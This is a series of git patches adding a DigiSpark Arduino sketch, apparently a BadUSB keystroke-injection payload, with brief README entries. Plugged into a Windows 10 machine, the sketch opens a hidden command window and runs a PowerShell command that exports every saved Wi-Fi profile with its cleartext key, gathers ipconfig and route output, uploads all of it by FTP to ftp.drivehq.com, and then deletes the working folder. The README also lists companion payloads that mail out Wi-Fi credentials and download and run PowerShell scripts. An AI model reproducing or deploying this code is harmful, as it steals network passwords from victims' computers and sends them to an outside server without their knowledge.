From dc282636697618b647edaf94645b506c6f403206 Mon Sep 17 00:00:00 2001 From: jsm134 Date: Sat, 1 Dec 2018 18:38:57 +0100 Subject: [PATCH 1/4] Create passwd_wif_w10ftp_ard.ino --- Wifi_Profile_Ftp/passwd_wif_w10ftp_ard.ino | 29 ++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 Wifi_Profile_Ftp/passwd_wif_w10ftp_ard.ino diff --git a/Wifi_Profile_Ftp/passwd_wif_w10ftp_ard.ino b/Wifi_Profile_Ftp/passwd_wif_w10ftp_ard.ino new file mode 100644 index 0000000..2b66093 --- /dev/null +++ b/Wifi_Profile_Ftp/passwd_wif_w10ftp_ard.ino @@ -0,0 +1,29 @@ +DigiKeyboard.sendKeyStroke(0); +DigiKeyboard.delay(1000); +DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT,KEY_R); +DigiKeyboard.sendKeyStroke(KEY_ENTER); +DigiKeyboard.delay(100); +DigiKeyboard.print(F("cmd /k mode con:cols=18 lines=1")); +DigiKeyboard.sendKeyStroke(KEY_ENTER); +DigiKeyboard.delay(100); +DigiKeyboard.print(F("color FE")); +DigiKeyboard.sendKeyStroke(KEY_ENTER); +DigiKeyboard.delay(100); +DigiKeyboard.print(F("cd %localappdata%")); +DigiKeyboard.sendKeyStroke(KEY_ENTER); +DigiKeyboard.delay(100); +DigiKeyboard.print(F("mkdir tmp")); +DigiKeyboard.sendKeyStroke(KEY_ENTER); +DigiKeyboard.delay(100); +DigiKeyboard.print(F("cd tmp")); +DigiKeyboard.sendKeyStroke(KEY_ENTER); +DigiKeyboard.delay(200); +DigiKeyboard.print(F("powershell -command "'open ftp.drivehq.com' > dat.txt ; 'USERNAME' >> dat.txt ; 'PASSWORD' >> dat.txt ; 'prompt' >> dat.txt ; 'mput *.*' >> dat.txt ; 'quit' >> dat.txt"")); +DigiKeyboard.sendKeyStroke(KEY_ENTER); +DigiKeyboard.delay(200); +DigiKeyboard.print(F("powershell -windowstyle hidden -Executionpolicy bypass -command "cd %localappdata%\tmp ; netsh wlan export profile key=clear ; ipconfig > ipc.txt ; netstat -r > nr.txt ; ftp -s:dat.txt ; cd .. ; Remove-Item -Recurse -Force tmp"")); +DigiKeyboard.sendKeyStroke(KEY_ENTER); +DigiKeyboard.delay(100); +DigiKeyboard.print(F("exit")); +DigiKeyboard.sendKeyStroke(KEY_ENTER); +for(;;){ /*empty*/ } \ No newline at end of file From 9c6f1fffa5f8027da2861a58f8ac4812e667c5be Mon Sep 17 00:00:00 2001 From: Hacerx Date: Sat, 1 Dec 2018 22:17:54 +0100 Subject: [PATCH 2/4] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 9774da1..f90a9af 100644 --- a/README.md +++ b/README.md @@ -17,6 +17,8 @@ Configure the Arduino IDE for the DigiSpark using: https://digistump.com/wiki/di >PowerShell Script Executer : Downloads and runs a powershell script. +>Wifi_Profile_Ftp: Using cmd, extracts wifi profiles and send it with ftp + >WiFi_Profile_Grabber: Using cmd, extracts wifi profiles and saves the csv to the usb mounted on d:\ >WiFi_Profile_Mailer : Writes the wireless network credentials to a csv file and emails it. From e82c910fda2fa8d760415476e88dacbec4eb66b9 Mon Sep 17 00:00:00 2001 From: Hacerx Date: Tue, 4 Dec 2018 09:12:47 +0100 Subject: [PATCH 3/4] Create README.md --- Wifi_Profile_Ftp/README.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 Wifi_Profile_Ftp/README.md diff --git a/Wifi_Profile_Ftp/README.md b/Wifi_Profile_Ftp/README.md new file mode 100644 index 0000000..04a5be2 --- /dev/null +++ b/Wifi_Profile_Ftp/README.md @@ -0,0 +1,3 @@ +# Wifi Profile Ftp + +Creates xml files with all your Wifi data and send it via FTP to a server. From d7bfd46eaa0389e87fe2f29118a25f18c62ef152 Mon Sep 17 00:00:00 2001 From: Hacerx Date: Tue, 4 Dec 2018 09:14:40 +0100 Subject: [PATCH 4/4] Update README.md --- Wifi_Profile_Ftp/README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Wifi_Profile_Ftp/README.md b/Wifi_Profile_Ftp/README.md index 04a5be2..96832d7 100644 --- a/Wifi_Profile_Ftp/README.md +++ b/Wifi_Profile_Ftp/README.md @@ -1,3 +1,5 @@ # Wifi Profile Ftp Creates xml files with all your Wifi data and send it via FTP to a server. + +Working on Windows 10